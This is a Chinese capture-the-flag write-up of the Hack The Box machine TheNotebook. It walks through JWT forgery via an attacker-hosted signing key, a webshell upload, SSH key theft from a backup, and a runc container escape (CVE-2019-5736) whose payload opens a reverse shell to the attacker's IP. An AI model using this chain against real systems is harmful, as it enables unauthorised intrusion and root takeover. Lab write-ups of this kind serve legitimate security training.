Hack The Box-TheNotebook

admin 2022年7月11日21:09:32评论5 views字数 5503阅读18分20秒阅读模式

0x01 靶场描述

    Hack the box 是国外的一个靶机平台,里面的靶机包含多种系统类型,并且里面可以利用的漏洞类型多种多样,有很多靶机其实非常贴近实战情景。因此 HTB 是一个很好的学习渗透测试靶场,官网:https://www.hackthebox.eu/invite。TheNotebook特性如图:Hack The Box-TheNotebook

0x02 靶场复现

知识点: 端口/漏洞扫描、JWT越权、docker逃逸漏洞提权(CVE-2019-5736)


一、端口/漏洞扫描,JWT越权

1.使用nmap扫描,发现该目标开启了22、80和10010端口

nmap -A -sS -sV -sC 10.10.10.230 #-A强力扫描 -sS SYN扫描 -sV识别服务版本 -sC调用脚本扫描

Hack The Box-TheNotebook


2.访问80端口,注册sm用户,获取cookie中的auth参数的内容,并放在https://jwt.io/#debugger-io网站中解码

1.解码前,发现其为JWT是一个JSON 网络令牌eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InNtIiwiZW1haWwiOiIxMjNAMTIzLmNvbSIsImFkbWluX2NhcCI6ZmFsc2V9.LQh_Poycj2WT680d3W0vHazztarRfMM7RhUzayc9MVhxZC6OIIKMkG8vBGJ1I0AGmvu-vtS-ZKJ6UN_P9SPeF7wkQxaJD5pTwnrgjluhsG0IfhdsJyG6NNSEQRBgxlXnDwSIkZEXubUfZMsmJRpdxuEhspdVbe1n8oddrjNtrMVdwrUOWWmj6QUxfPq3mU44BJmokna3ykmIyP54V3J5X8XlqAjGpWMbMfCkU0grkLMts8wfrJe1uDjjhDfzWCJQIuEqJYhWN2d4EOJ4bHKVXLPqej-QnLD9bOHIS5lPOJ9Eoqu6NYrTbzmSkE2ZX-KPp2omWrpG6ooW7Oyh2AlqSFvgCIOSroQlxrAsNQI7x8XsFss1hpmXN4HtTfC9my7bXleRSxJm7cDDFX2lSSqEEEhZPzq2qW2-F6vJXpBxVsgJwfxYfBx0FJ05vQ798RrPkxoMXUNzeHFQ3XcXIzuiBSjDyaQrIN9Dy8RvwQYk0S0n2wY0Ke3GBGOUtV7KjFozokWFq44A6ISAzKOmzEStOWpBW1OpqHHw2i8KUeqShjUTG8mbtR6VpHN0f1lcTjWyLK8hPtUfG_4BNDKaBFd20MqhYC__5I1EKFUNBCIA6k4Bn1Z6YvMtwzhiKxjXlh2qppVgrd0_RBfpvzxbFYUE82H3M6uAY12BC4Fd2jsEIes
2.解码后,为header.payload.signature格式{ "typ": "JWT", "alg": "RS256", "kid": "http://localhost:7070/privKey.key"}.{ "username": "sm", "email": "123@123.com", "admin_cap": false}.验证签名

Hack The Box-TheNotebook


3.使用JWT提权,首先本地生成JWT公/私密钥

ssh-keygen -t rsa -b 2048 -m PEM -f privKey.key

Hack The Box-TheNotebook


4.python3生成一个http服务,以此来让靶机服务器下载privKey.key文件

python3 -m http.server 80

Hack The Box-TheNotebook


5.将(不带.pub的)文件内容放入脚本中,并填写好自己python3的http地址,生成(注:脚本中admin_cap参数要改为1

1.脚本:import jwt
key = '''-----BEGIN RSA PRIVATE KEY-----MIIEowIBAAKCAQEA7u1pgufTeNL0BEm33Z+wWAWW0I3dltU/tRr9gpuy1RGqgrNrbxLEl4cPdRxXJht5JQpzEjUzzVFKAOMjnVmaBCsMHfG3GnFx1Ysvn1CL52cnoc1VsTyofV4WU5T3xfXY+axihyjUe4z35ak7sAFiujxNTdodgh2sZl+7bJHXhVxzEb+iGet8MO8BwsawJJCMnG/MHIKfjMX68v1ilp1uPK2Z9e+ieWB+LFq4dxDAOxX2j4iVKSO/XAfqwqw83Opa8q2LYeiazAK0wl0k6qLBt8TBvUgaLcYylxUyHlYEMz7qCxY/MJMlONrREw/YsVTrh/xLmJg+lN0/3g0qJcO0YQIDAQABAoIBAQCA6zV9Xt1qWlk0XxqIyPt74zgnPAUOt+3yKKgVazGpaijY8TrM6hGNuWCLzkjv1O8fH25Lqs1SwcPuiqDS7GAAU8Hr/lrQN9o2YS3HBs0WhUCLO6I7SgGX88aUPtMay7bRsURQraVJLR0tnI0KQRUmbBdCJKi7Zot5ibo1sNPbrqW4MDmI2U3R4B6W0TJOYD3H34hW7ND6/6Q0HM+pOw3zgIkkUBPMYeuslHf9K1NV0jWpbLeVBBGVVFR1zhSUooz6MkNj5e+1f5P7XtIVVmYW84bjo0KVLWOM8h9wAaAeBJQTe5ja/iId4Dn4AnxSfhSNETRf25T4NTY+FSj8T75hAoGBAPmj+7MKuBfRwjL2zA84tol97HkzLyyM455zCO+NnslOIbmH/0nA7qc0osfK4jfZqufWV6eXe7PL6xrv3COgixkb/oklR2lmURZfIEDl3SNA3lag0i+Lm2oCcs6PMHT5NX2dbR3zz9dMJ3EUytq+k0pHAnAJ3F6/muCjZ6oi6hNVAoGBAPUDkEo10vy9A0AOzOHCsudcypZK4+8dAtfVCiAzlhHWZGca87C74NHH1gXi/TMiq5fl/GCIYMatVNirSCPBunKVWKGPguRCGHcsEVelNVAQ/IdZ1dKYcAQWDGK0OCKJa0y4JF7/7iOhxTMUByLVTbR1elx4IfzKzeL6Gq8SNPTdAoGALnPgK0HMXcpPa7JW6GIyPUVsUmU+2vhghqR7PjBJIsZiKibvTycSgZSe0bSkAaaEUd2ls+7ROvSwC/QkL5D5MTPvWk/QiQFcB2CuHMVpL90rQk1sryI4SjKocF1es/WHiZdYraEnxLVMBZPL54Zc3A54mqaLFiprRG/Do3oZun0CgYAKdO16jVOE39g8qqUJ2ZJjF225/lY+BUHyzi/RcgIsnrbIQ7k0yL/ulBXJSIe/3/Hs2K7tu8RNlmYxnRXGGOWJMGCI/KP8c+mxZFsVH4Ln+OGeMTJT+5eERSCgMcrXhn/i1VUQDOIv+R5+cJNhZDMdyYnAWowwysMAteXfpOpHrQKBgFFau+nxTFz92RzZbT47+Kadjj5sBR7w9aUFh9ESO2Gj6iNem/EM9bNe+wCg659Ul9q3UQ2vdgX7O+rwXUnJzUmZtrVLvPOVKP9k4I9z3tvq6nO57Yqm/aeLQPZZdml+/Se+z/1BXMegLKKHGtjPzbJQfboobrl6jQ5QAh2+3E/X-----END RSA PRIVATE KEY-----'''
headers = {"typ": "JWT", "alg": "RS256", "kid": "http://10.10.14.7/privKey.key"}
payload = {"username": "sm", "email": "[email protected]", "admin_cap": 1}
print(jwt.encode(payload, headers=headers, key=key, algorithm='RS256'))
2.运行:pip3 install PyJwtpython main.py
3.生成后的代码eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC43L3ByaXZLZXkua2V5In0.eyJ1c2VybmFtZSI6InNtIiwiZW1haWwiOiIxMjNAMTIzLmNvbSIsImFkbWluX2NhcCI6MX0.jfDjkaDKTZy9D-spc-XXJNPG5TtZMxzqy-Di-bvJM3KGMvGXnbAKMVfzdYdCHvmYDMfZxOjDDha6sK3tkVKuPQeEEFukCCbQ9a1VLZUysdx-kSTKNzeb1Akex5I0BwcHwlLqWju5mWs_Y8aqDOSHx_U-PXlrouOaYE2JIunddZuw2FvtJ1BG9FHgfWPnhiJYhBuXS-vI60x8-f98Pt3YDm_bhJ3qK8Lxoviz4lplsJ-gzU0on6iwirc0oK4OnlPKLj7OPNM2wlREK2bvaiI2wIYD8dyq9_x5Swoaqna27mtAIAGdnOLQEtgNzJrIUcv_r9zPrIATsa-cGB4SY5yORg

Hack The Box-TheNotebook


6.登录sm账户并通过浏览器替换cookie刷新,发现多了一个Admin栏,至此越权成功

Hack The Box-TheNotebook


7.找到upload栏,上传哥斯拉马,连接,得到一个webshell

http://10.10.10.230/472c221c7a03e3d927da66ae0cb35274.php 密码:pass

Hack The Box-TheNotebook


8.信息收集,找到可疑备份文件home.tar.gz,并下载

/var/backups/home.tar.gz

Hack The Box-TheNotebook


9.发现文件内容中有noah登录的公私钥

ls -al 查看隐藏文件和权限

Hack The Box-TheNotebook


10.尝试登录成功,拿到user.txt的flag

ssh noah@10.10.10.230 -i id_rsa

Hack The Box-TheNotebook


二、docker逃逸漏洞提权(CVE-2019-5736)

前置知识: 2019年2月11日,runC的维护团队报告了一个新发现的漏洞,SUSELinuxGmbH高级软件工程师AleksaSarai公布了影响Docker,containerd,Podman,CRI-O等默认运行时容器runc的严重漏洞CVE-2019-5736。漏洞细节:https://www.freebuf.com/articles/web/258398.html

影响版本:

docker version <=18.09.2 RunC version <=1.0-rc6


1.查看sudo权限,并提权,查看docker版本

1.查看sudo权限sudo -l
2.提权sudo /usr/bin/docker exec -it webapp-dev01 sh -c "su"
3.查看docker版本docker -v

Hack The Box-TheNotebook


2.下载提权脚本

1.下载pochttps://github.com/Frichetten/CVE-2019-5736-PoC
2.编辑poc,根据自己的实际情况填写ip和port"#! /bin/bash n bash -i >& /dev/tcp/10.10.14.7/4444 0>&1"

Hack The Box-TheNotebook


3.go编译

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

Hack The Box-TheNotebook


4.nc监听

nc -lvnp 4444

Hack The Box-TheNotebook


5.通过python3开启http服务将提权脚本下载到靶机

1.开启httppython3 -m http.server 888
2.下载wget http://10.10.14.7:888/main
3.给予执行权限chmod +x main

Hack The Box-TheNotebook


5.执行脚本,同时再开一个shell窗口,执行docker

1.ssh1,执行脚本./main
2.ssh2,执行dockersudo /usr/bin/docker exec -it webapp-dev01 /bin/sh

Hack The Box-TheNotebook


6.nc得到root权限和flag

cat ~/root.txt

Hack The Box-TheNotebook

(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)


0x03 公司简介

江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
    公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......

编制:sm

审核:fjh

审核:Dog



原文始发于微信公众号(融云攻防实验室):Hack The Box-TheNotebook

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月11日21:09:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hack The Box-TheNotebookhttp://cn-sec.com/archives/1170748.html

发表评论

匿名网友 填写信息